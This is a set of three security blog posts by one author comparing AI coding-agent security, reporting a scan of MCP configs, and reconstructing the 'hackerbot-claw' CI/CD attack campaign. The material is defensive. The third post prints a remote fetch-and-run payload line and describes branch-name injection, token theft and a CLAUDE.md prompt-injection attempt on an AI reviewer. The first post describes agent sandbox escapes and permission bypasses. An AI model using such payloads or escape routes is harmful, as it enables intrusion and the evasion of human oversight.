DEV Community: Pavel Ishchin

We compared security in OpenClaw, Claude Code, and Cursor. None of them passed.

Pavel Ishchin — Fri, 27 Mar 2026 17:08:43 +0000

OpenClaw has 92 security advisories. Cursor ships 94 unpatched Chromium CVEs. Claude Code's sandbox got bypassed by its own reasoning. We compared all three across 10 dimensions using independent data.

I expected one of these tools to be meaningfully more secure than the others. After checking CVE databases, reading independent security audits, and going through hundreds of GitHub issues, I found something worse: they all fail in the same ways, just at different speeds.

OpenClaw has 92 security advisories in four months, Cursor shipped 94 unpatched Chromium vulnerabilities to 1.8 million developers, and Claude Code's sandbox was bypassed by the agent reasoning its way out of containment. Independent sources only: Snyk, UpGuard, OX Security, DryRun Security, Proofpoint, HiddenLayer, and Check Point Research.

DryRun Security tested all three by having them build applications from scratch. Across 30 pull requests: 87% contained at least one vulnerability. 143 total security issues spanning 10 vulnerability classes. No agent produced a fully secure product.

Here's what each tool actually does about it.

How OpenClaw, Claude Code, and Cursor handle sandboxing

Whether untrusted code runs in a sandbox determines most of your risk. All three tools now offer sandboxing. The defaults tell you everything.

OpenClaw ships with sandboxing off. The Docker-based sandbox is opt-in. When disabled, the exec tool runs commands on your machine with your permissions. Snyk found two bypass methods: a policy gap in /tools/invoke and a race condition enabling file read/write outside the container. CVE-2026-25253 showed an attacker could remotely turn sandboxing off by sending config commands. The newest one, CVE-2026-32013, uses symlink traversal to escape the workspace. Disclosed March 19.

Claude Code uses OS-native sandboxing: Apple Seatbelt on macOS, bubblewrap on Linux. Kernel-level restrictions, not containers. Network traffic goes through a Unix domain socket proxy. Stronger architecture than Docker. But researchers at Ona.com showed something unsettling: when Claude Code's npx command was denied, the agent found a /proc/self/root/ bypass. When bubblewrap caught that, the agent asked permission to run unsandboxed. It talked itself out of its own containment. Anthropic's docs acknowledge that Docker mode "weakens security" and should be used cautiously.

Cursor added sandbox support in version 2.0, February 2026. Seatbelt on macOS, Landlock plus seccomp on Linux, WSL2 on Windows. They looked at Docker and rejected it because it would limit builds to Linux binaries. A third of requests on supported platforms now run sandboxed. But it's opt-in for Pro users, and forum bug reports show cases where commands ran with full permissions while the UI said "sandbox mode."

None of them sandbox by default for all users.

What your agent can reach

The question nobody asks during setup: what can this thing read?

All three tools can access your entire filesystem in their default configurations. OpenClaw reads and writes anywhere on the host. Your .ssh keys, your .env files, your API credentials in ~/.openclaw/credentials/ stored in plaintext. Claude Code can read the whole filesystem too, with writes scoped to the working directory. Cursor's read_file tool reaches any directory on the system. HiddenLayer confirmed it can grab SSH keys.

Network access is where they diverge. OpenClaw has no restrictions. The agent can curl anywhere, and the browser defaults to dangerouslyAllowPrivateNetwork: true, which means your internal network is exposed. Claude Code blocks curl and wget by default, routing through its sandbox proxy. Except UpGuard scanned 18,470 public Claude Code permission files on GitHub and found 52.1% had Bash(curl:*) enabled. So the default is secure, and half the users turned it off. Cursor blocks outbound network in sandbox mode, but HiddenLayer showed a chained attack: read a file with read_file, exfiltrate it through the create_diagram tool which renders HTML with the data URL-encoded in an image tag.

This is the "lethal trifecta" Simon Willison warned about. Private data access plus untrusted content plus external communication in a single process. All three tools hit at least two of three out of the box.

Permission models and YOLO mode

Every tool ships a way to skip human approval. Developers enable it immediately.

OpenClaw has three tiers: ask (prompts you), record (logs but auto-allows), and ignore (silent). CVE-2026-25253 let attackers remotely flip to ignore. Claude Code escalates through four levels ending at --dangerously-skip-permissions, which is exactly what it sounds like. UpGuard's real-world data: 47% of users allow arbitrary Python, 42% allow arbitrary Node.js, 19.7% allow git push without confirmation.

Cursor calls it YOLO mode. Requires accepting a risk disclaimer, which took about three seconds in my testing. The allowlist uses exact command matching. A documented bug showed that chaining commands with && bypassed it entirely: safe_command && dangerous_command executed both. Cursor stores permissions in a local SQLite database that any process on the machine can read and modify.

The pattern across all three: security engineers build careful permission systems. Product teams add a "skip all" button. Users click it on day one.

It reminds me of the early days of HTTPS adoption. Browser warnings existed for years before anyone made them hard to dismiss. We might be in the same phase with AI agent permissions: the warnings exist, nobody reads them, and the "accept risk" path is always one click away.

Prompt injection: OpenClaw says "out of scope"

This is the part I keep coming back to.

OpenClaw's SECURITY.md says prompt injection scanning of tool results is "out of scope." Not a bug they haven't fixed. A decision they documented and published. In practice, 91% of the malicious packages found in the ClawHavoc supply chain attack used prompt injection techniques. We documented a similar attack chain where one agent compromised seven repos. Researchers found injection payloads targeting OpenClaw circulating in the wild.

Claude Code does more here than the other two. Command blocklist, isolated context windows for web fetches, suspicious command detection. Multiple layers. But every layer has been bypassed independently. Oasis Security used invisible HTML tags to extract conversation history. PromptArmor showed file exfiltration through malicious documents. Lasso Security built an open-source injection defender with 50+ patterns and still says in their docs that novel techniques will slip through.

Cursor has no built-in prompt injection scanning. Multiple independent teams confirmed this. The AIShellJack framework used invisible characters in .cursor/rules files. HiddenLayer hid injections in README files. CVE-2025-54135 showed the full kill chain: one injected Slack message, fetched via MCP, rewrote mcp.json and achieved remote code execution.

Three tools, three approaches ranging from "out of scope" to "we try but it keeps getting bypassed" to "we don't try." None of them solved it.

MCP turned into an attack surface nobody expected

Actually, some people expected it. But nobody acted fast enough.

The Model Context Protocol was supposed to give AI agents safe access to external tools. AuthZed documented nine major MCP breaches between April and October 2025: WhatsApp chat exfiltration, GitHub private repo theft, and Anthropic's own MCP Inspector enabling unauthenticated remote code execution.

OpenClaw's gateway WebSocket defaulted to unencrypted ws:// without origin validation. That was the CVE-2026-25253 entry point. Claude Code now requires trust verification for new MCP servers, but in non-interactive mode (-p flag) this check is disabled, and CVE-2025-59536 showed malicious repos configuring MCP servers that executed before the trust prompt appeared. Cursor's MCP story is the worst of the three: CurXecute, MCPoison, and the March 2026 CursorJack deeplink attack all exploited it. Before version 1.3, new MCP entries auto-executed without any user confirmation. Proofpoint's CursorJack disclosure showed single-click MCP server installation via cursor:// deeplinks. Cursor closed the report as out of scope.

Out of scope. For a vector that achieved remote code execution.

An academic analysis of 67,057 MCP servers across six registries found that a substantial number could be hijacked. The MCP specification itself now includes security best practices, but they're recommendations, not enforced requirements. We scanned 900 MCP configs ourselves and found 75% had security problems.

The CVE count: OpenClaw 92, Claude Code 8, Cursor 8

Raw numbers don't tell the whole story, but they tell part of it.

OpenClaw leads with 92+ security advisories and 9+ formal CVEs in four months. The ClawHavoc attack compromised 20% of the skill marketplace. Kaspersky found 512 vulnerabilities in a single audit, 8 critical. SecurityScorecard discovered 135,000 publicly exposed instances, a third correlated with known threat actor activity. China restricted state enterprises from using it. Belgium issued an emergency advisory.

Claude Code has 8+ CVEs ranging from medium to critical severity, including the Koi Security "PromptJacking" finding at CVSS 8.9 that affected three official Anthropic extensions. A March 2026 fix addressed PreToolUse hooks that could bypass deny rules, including enterprise managed settings. That last part is important: enterprise customers paying for managed security had a bypass in their permission enforcement.

Cursor also has 8+ assigned CVEs, all high severity. The 94 unpatched Chromium vulnerabilities from an outdated Electron fork are a separate category of risk. OX Security successfully weaponized one against the latest Cursor version. Workspace Trust is disabled by default because enabling it disables AI features. That tradeoff tells you something about priorities.

What it costs when things go wrong

None of these tools have real budget controls.

OpenClaw's costs depend entirely on which APIs you connect, with no built-in limits. Reports of unmonitored cron jobs inflating bills by 10-30% are common in the issues. Claude Code subscription tiers cap at roughly 45 messages per 5 hours on Pro, but there are no per-session budget limits or loop detection. Anthropic reports average costs around $6 per day per developer, which sounds reasonable until one session spirals. Cursor's credit system bills overages at API rates with rate limits of 1 request per minute and 30 per hour.

For audit logging, Claude Code has the most mature offering with an Enterprise Compliance API for real-time usage data, though it exports metadata only, not chat content. Cursor restricts audit logs to the Enterprise plan. OpenClaw stores session transcripts as local JSONL files that aren't tamper-proof or centralized.

	OpenClaw	Claude Code	Cursor
Sandbox default	Off	On when configured	Opt-in, Pro+
Known sandbox escapes	3+	Agent reasoning bypass	Forum-reported failures
Injection scanning	"Out of scope"	Multiple layers, all bypassed	None
CVEs	92 advisories, 9+ formal	8+	8+ plus 94 Chromium
Budget controls	None	Rate limits only	Credit-based, no per-session cap
Enterprise compliance	None	SOC 2, ISO 27001, ISO 42001	SOC 2, Enterprise plan only

So which one

Depends on what scares you more.

If your primary concern is supply chain attacks, avoid OpenClaw until the skill marketplace matures. 20% malicious packages is disqualifying for production use today, full stop.

If you need enterprise compliance and the strongest default security posture, Claude Code is ahead. SOC 2 Type II, ISO 27001, and the only tool with OS-native sandboxing that doesn't require Docker. But "ahead" is relative when researchers keep finding sandbox bypasses.

If your team already uses Cursor and switching costs are high, patch to the latest version immediately, enable sandboxing, disable YOLO mode, and audit your MCP server list. The 94 Chromium vulnerabilities alone justify staying current.

What none of them offer: external monitoring of agent behavior. Each tool watches itself from the inside. That architectural pattern has a name in distributed systems: it's the same reason you don't let a process monitor its own health. You put a watchdog outside the process. We wrote about why this is unfixable from inside the agent. For AI agents, that watchdog doesn't exist in any of these tools yet. We're building one for OpenClaw specifically.

Related:

Run the scanner yourself: orchesis.ai/scan

We scanned 900 MCP configs on GitHub. 75% had security problems.

Pavel Ishchin — Tue, 24 Mar 2026 13:11:00 +0000

We scanned 900+ MCP configurations on GitHub. 75% failed basic security checks. Nobody pins versions. The most popular MCP server is a bare shell wrapper.

I expected to find maybe a dozen hardcoded API keys and a handful of overly permissive configurations scattered across the results. The usual negligence you stumble on when you go digging through public repositories looking for things people probably shouldn't have committed.

What I didn't expect was that three out of four configuration files would fail basic security checks, and that the single most popular "MCP package" in the entire dataset wouldn't actually be a package at all.

This is the full account of how I got to those numbers, what the raw data revealed along the way, and where I think the whole MCP configuration ecosystem is quietly heading.

AI creates faster than it can be verified. MCP servers multiply this problem: every tool your agent calls is a new unverified input. The runtime layer, the proxy between your agent and the API, is where verification actually happens, because it's the only place that sees everything.

Why I started poking around in the first place

I've been building AI agent security tooling for the past few months, mostly focused on runtime enforcement — basically making sure autonomous agents don't do things they shouldn't be doing when they're making calls to LLM APIs behind your back.

MCP kept surfacing in that work. For anyone who hasn't encountered it yet: MCP is the protocol that Claude Desktop, Cursor, and a growing number of similar tools rely on to connect AI agents to external servers. You define which servers the agent talks to in a JSON config, and then it just... has those capabilities. Reading files, querying databases, calling APIs, running shell commands, whatever those servers decide to expose.

That configuration file is basically the permission boundary for everything the agent can do. Get it wrong and every misconfiguration flows directly into the agent's behavior, which gets uncomfortable when you consider that agents process untrusted input from users, tool outputs, and scraped web content.

I kept running across theoretical discussions of MCP vulnerabilities. Prompt injection through tool results, malicious MCP servers, data exfiltration via crafted tool calls. Plenty of hypothetical attack scenarios had been written up, but I couldn't find anyone who had actually gone and looked at what real developers are configuring in practice.

I figured the fastest way to answer those questions was to just go look.

How the scanner was built

The core approach was deliberately unsophisticated. GitHub's Code Search API, looking for specific filenames and content patterns across public repos. The scanner grabs claude_desktop_config.json, .cursor/mcp.json, and anything with mcpServers in it, pulls down the raw file, tries to make sense of the JSON, and if it parses okay, runs its 52 checks against it.

GitHub's Code Search caps results at roughly 1000 per query pattern, which I partially worked around by splitting queries using date ranges and file size qualifiers. Some file paths on GitHub contain spaces, parentheses, and unicode characters (one particularly memorable path included Portuguese text about "creating your second brain with AI"), and the scanner kept crashing on URL encoding issues. Three separate rounds of fixes before the thing could crawl reliably.

After approximately 40 minutes of crawling, the scanner had collected 900 configuration files from 839 unique repositories. Every repository identifier was SHA256 hashed before being stored. No owner names, no repository URLs, and no actual credential values exist anywhere in the dataset.

The initial results were surprisingly bad

75% of the collected configuration files contained at least one security finding.

I had gone into this expecting something around 30%, maybe 40%. Not three quarters.

The severity split: 1.6% critical (actual credential exposure), 76.2% high, 21% medium. I couldn't figure out why high severity was so dominant until I drilled into the individual check results.

Turns out one specific check was responsible for almost all of it.

Nobody pins versions (43.6%)

Nearly half of all scanned configuration files reference MCP server packages without specifying which version should be installed. This single check accounts for the vast majority of high-severity findings in the entire dataset.

The pattern I encountered over and over:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/home/user"]
    }
  }
}

That -y flag is the problem. It tells npm to just grab whatever happens to be the latest version right now and run it. If someone pushes a bad update to that package tonight, or if the maintainer account gets compromised, your agent loads the new code next time it starts. Nobody reviews it.

The fix is trivial:

"args": ["-y", "@modelcontextprotocol/server-filesystem@1.2.3", "/home/user"]

The JavaScript ecosystem already went through precisely this lesson. The left-pad incident in 2016 was supposed to have permanently established the principle that you pin your dependencies. That was ten years ago. And now we're doing the exact same thing, except the packages involved don't just pad strings. They read your filesystem and execute shell commands.

The shell access problem is worse than it sounds

Roughly one in eleven configuration files grants the AI agent direct access to command execution. The most frequently appearing entry across the entire dataset is not a recognized package with documented behavior and scope controls. It's run. Just that. A bare shell command wrapper.

What developers put in their configs	Count	What it gives the agent
`run` (bare shell wrapper)	136	Can execute any command
`server-filesystem`	51	Reads and writes files
`mcp-remote`	34	Connects to remote MCP servers
`server-github`	16	GitHub API access
`server-sequential-thinking`	11	Reasoning chain stuff
`server-puppeteer`	11	Controls a headless browser
`server-memory`	9	Stores data persistently
`server-playwright`	9	Also controls a browser

So the bare unrestricted shell executor beat the official Anthropic-maintained scoped package by almost 3 to 1. I had to recount that because it seemed wrong.

Many of the server-filesystem entries were pointed at absurdly broad paths. Not /home/user/project/data but just /. Or C:\. Or the user's entire home directory — SSH keys, cloud credentials, browser profiles, your whole digital identity sitting there for the agent to browse through.

What kept me scrolling: the combinations

The scanner evaluates individual findings in isolation. But the thing that proved most concerning was how frequently multiple issues appeared stacked together:

{
  "mcpServers": {
    "shell": {
      "command": "run",
      "args": []
    },
    "files": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/"]
    },
    "github": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_TOKEN": "ghp_xxxxxxxxxxxxxxxxxxxx"
      }
    }
  }
}

Nothing pinned. Shell wide open. Filesystem pointed at root. GitHub token just sitting right there. One file, committed together, probably in about 30 seconds.

One bad npm update and an attacker can read everything on disk, run whatever commands they want, and push code to your GitHub. The agent handles the whole chain by itself with no human anywhere in the process.

This isn't hypothetical. In February 2026, an autonomous AI agent operating under the GitHub account hackerbot-claw systematically exploited misconfigured CI/CD workflows across seven major open-source repositories, including projects from Microsoft, DataDog, and the CNCF. The agent achieved remote code execution in five of the seven targets. Every attack relied on the same root cause: overly permissive configs that nobody audited.

What I changed in my own configuration

Four changes:

1. Every package version pinned explicitly. Manual updates and occasional breakage, but that friction is the point.

2. Shell access removed entirely. After seeing run in 136 configurations with zero restrictions, "convenient" stopped being a justification.

3. All credentials moved into .env files, .gitignore verified.

4. Filesystem paths scoped to the specific project directory. Not home folder. Not root.

That's it. Four changes that take about two minutes.

Where I think this is heading

75% of public configs failing basic checks isn't an individual negligence problem. When three quarters of your users get it wrong, the defaults are wrong. If the quick path through the documentation gives you an insecure config and the secure version requires you to know about version pinning and go look up the latest tag number, the insecure version is going to win every time.

The MCP ecosystem has maybe a year before one of two things happens. Either the tooling catches up — built-in config validation, automatic version locking, permission audit integrated into Claude Desktop and Cursor. Or there's a big enough supply chain incident that the conversation gets forced from the outside.

The EU AI Act enforcement begins in August 2026, five months away. Audit trails for AI agent behavior are about to become a legal requirement.

Looking at what I found in these 900 configs, my money is on the incident coming first. I hope I'm wrong.

The scanning tool, all 100+ checks across 9 categories, and the full analysis pipeline are open source. Run it yourself at orchesis.ai/scan. Everything runs in your browser, no data sent anywhere.

The runtime proxy that catches these issues in production: github.com/poushwell/orchesis. MIT license, zero dependencies, pip install orchesis.

An AI agent compromised 7 open-source repos in one week. The only defense that worked was another AI.

Pavel Ishchin — Wed, 18 Mar 2026 13:07:00 +0000

Between February 20 and 28, an autonomous AI agent called hackerbot-claw systematically exploited GitHub Actions workflows across seven major open-source projects. It hit Microsoft. It hit DataDog. It hit a CNCF project.

And then it fully compromised Aqua Security's Trivy — the most widely used vulnerability scanner on GitHub, with 32,000 stars and over 100 million annual downloads.

A security scanner got owned by a bot exploiting the exact class of misconfiguration the scanner was built to find. That's where we are.

I've been building runtime security tooling for AI agents, so when StepSecurity published their full analysis of the campaign, I spent a few days tracing through every attack vector. What follows is a reconstruction of how the bot worked, what it exploited, and what the seven targets had in common.

What hackerbot-claw actually is

The GitHub account was created on February 20, 2026. Its profile described it as an "autonomous security research agent powered by claude-opus-4-5" and solicited cryptocurrency donations to "fund more scans." According to StepSecurity's analysis, the profile claimed 47,391 repositories already scanned.

The bot loaded what it called a "vulnerability pattern index" with 9 classes and 47 sub-patterns, then autonomously scanned for matches, verified them, and dropped proof-of-concept exploits.

Every successful attack delivered the same payload:

curl -sSfL hackmoltrepeat.com/molt | bash

But each target got a different exploitation technique. Five different approaches across seven repos, customized to each target's workflow configuration.

That domain, hackmoltrepeat.com, was registered on February 24 through Tucows, hidden behind Cloudflare nameservers. Three days after the account was created, four days before the campaign was publicly discovered.

What it hit

awesome-go (140,000+ stars)

The bot injected a Go init() function into a quality check script. In Go, init() runs automatically before main(), so the malicious code executed before any legitimate checks could catch it. The bot stole a GITHUB_TOKEN with write permissions and exfiltrated it to its server.

Microsoft ai-discovery-agent

Branch name injection. The bot created a branch whose name contained shell syntax. When the workflow echoed the branch ref into a file using unescaped interpolation, Bash evaluated the embedded command substitution and ran the remote payload.

DataDog datadog-iac-scanner

Filename injection through the CI pipeline. DataDog responded within 9 hours, adding author_association checks and tightening permissions.

Aqua Security Trivy (32,000+ stars)

This was the worst one.

The bot exploited a pull_request_target workflow called "API Diff Check" to steal a Personal Access Token with broad repository permissions. Within 45 minutes of the initial PR, the stolen PAT was used to:

Delete all 178 GitHub releases
Wipe the repository
Push a malicious VSCode extension (CVE-2026-28353) to the OpenVSX marketplace under Trivy's trusted publisher identity

The extension contained code designed to use local AI coding agents to collect and exfiltrate sensitive information from anyone who installed it.

From first PR to full compromise: 30 minutes.
From compromise to malicious extension published: 15 more.

project-akri (CNCF)

CI executed injected scripts through a similar workflow misconfiguration.

RustPython (20,000+ stars)

Remote code execution achieved through CI.

ambient-code/platform

This one is the most interesting.

The bot replaced the repository's CLAUDE.md file with social engineering instructions designed to trick Claude Code (integrated as an AI code reviewer in CI) into vandalizing the README, committing unauthorized changes, and posting fake "approved" reviews.

Claude Code caught it. It classified the attempt as a "textbook AI agent supply-chain attack via poisoned project-level instructions" and refused to execute. This was the only target where the defense held.

Same root cause, every time

The root cause across all seven targets was the same: pull_request_target workflows configured to check out code from untrusted forks while running with elevated permissions.

pull_request_target runs with the base repository's secrets and permissions. If the workflow also checks out the PR head — attacker-controlled fork code — it hands that code the same elevated access. The GitHub documentation warns about this. Security researchers have been writing about it for years.

But it keeps happening because the insecure version is easier to set up. A workflow that runs on pull_request can't access repository secrets. That's annoying. So developers switch to pull_request_target and check out the fork code — and now untrusted code runs with trusted permissions.

Sound familiar? This is the same pattern we found when we scanned 900 MCP configurations on GitHub. Developers pick the path that works, not the path that's safe.

What made this different

The tj-actions/changed-files compromise in March 2025 (CVE-2025-30066) affected 23,000 repositories. CISA issued a formal alert.

hackerbot-claw was different in three ways.

It was adaptive. Five different approaches across seven targets, each customized to the specific workflow. The bot analyzed each target and picked the right vector.

It escalated beyond code execution. In Trivy's case, the bot went from CI access to publishing a malicious extension under a trusted identity. Anyone who installed that extension would have their AI coding agents turned into credential collectors.

It attempted AI-on-AI manipulation. The ambient-code attack was the first publicly documented case of an AI agent trying to prompt-inject another AI agent through CI/CD infrastructure. That it failed is good news. That it was attempted at all tells you where this is going.

Pillar Security called the campaign "Chaos Agent" and confirmed the agent most likely operated autonomously across the entire kill chain.

The 45-minute timeline

The bot opens a pull request. The pull_request_target workflow triggers and checks out the fork code. The attacker's code runs with access to repository secrets.

Within minutes, the bot has a PAT with write permissions. It pushes commits, renames the repository, wipes all 178 historical releases, and starts publishing to the VSCode extension marketplace.

Total time from first PR to published malicious extension: ~45 minutes.
Total time for maintainers to respond and clean up: ~48 hours.

That asymmetry is the thing I keep coming back to.

What this has to do with your MCP configs

So far this reads like a CI/CD story. But the connection to the broader agent ecosystem is direct.

When we scanned 900 MCP configurations on GitHub, we found 75% had security problems. The most common: 43.6% of configs reference packages without specifying a version, meaning npx -y just grabs whatever is latest.

hackerbot-claw shows what happens at the other end of that pipeline. The bot didn't need to poison an MCP server. It went after the CI/CD layer where those packages get built and published. One misconfigured workflow, one stolen token, and suddenly the trusted publisher is shipping malware.

Version pinning protects you from a compromised package update. It doesn't help if the package gets republished by an attacker using a stolen maintainer token. That requires a different layer of defense.

What DataDog did right

Within 9 hours of the attack, DataDog had deployed fixes:

Added author_association checks before triggering workflows
Tightened token permissions to contents: read
Hardened path handling in the affected script

Nine hours. That's fast. I looked into whether other targets responded as quickly and couldn't find public timelines for most of them. But DataDog has a dedicated security team. Most open-source projects don't.

Where this leaves us

hackerbot-claw scanned 47,391 repositories. It found exploitable workflows in at least seven, and achieved code execution in five. The account has been removed by GitHub, but the techniques are documented and the vulnerability patterns are public.

The OpenSSF published a TLP:CLEAR advisory. DataDog's State of DevSecOps 2026 report now cites the campaign. OWASP published their MCP Top 10, addressing several of the same vulnerability classes.

If you maintain a public repository with GitHub Actions: check your pull_request_target workflows.

If you use MCP servers: check whether your configs pin versions and scope permissions.

If you publish to npm, PyPI, or extension marketplaces: check what tokens your CI has access to.

The scanner we built for MCP configs catches the same class of issues that enabled these attacks. orchesis.io/scan — runs in your browser, 52 checks, nothing sent anywhere.

Full write-up on the MCP scan results: orchesis.io/blog/mcp-scan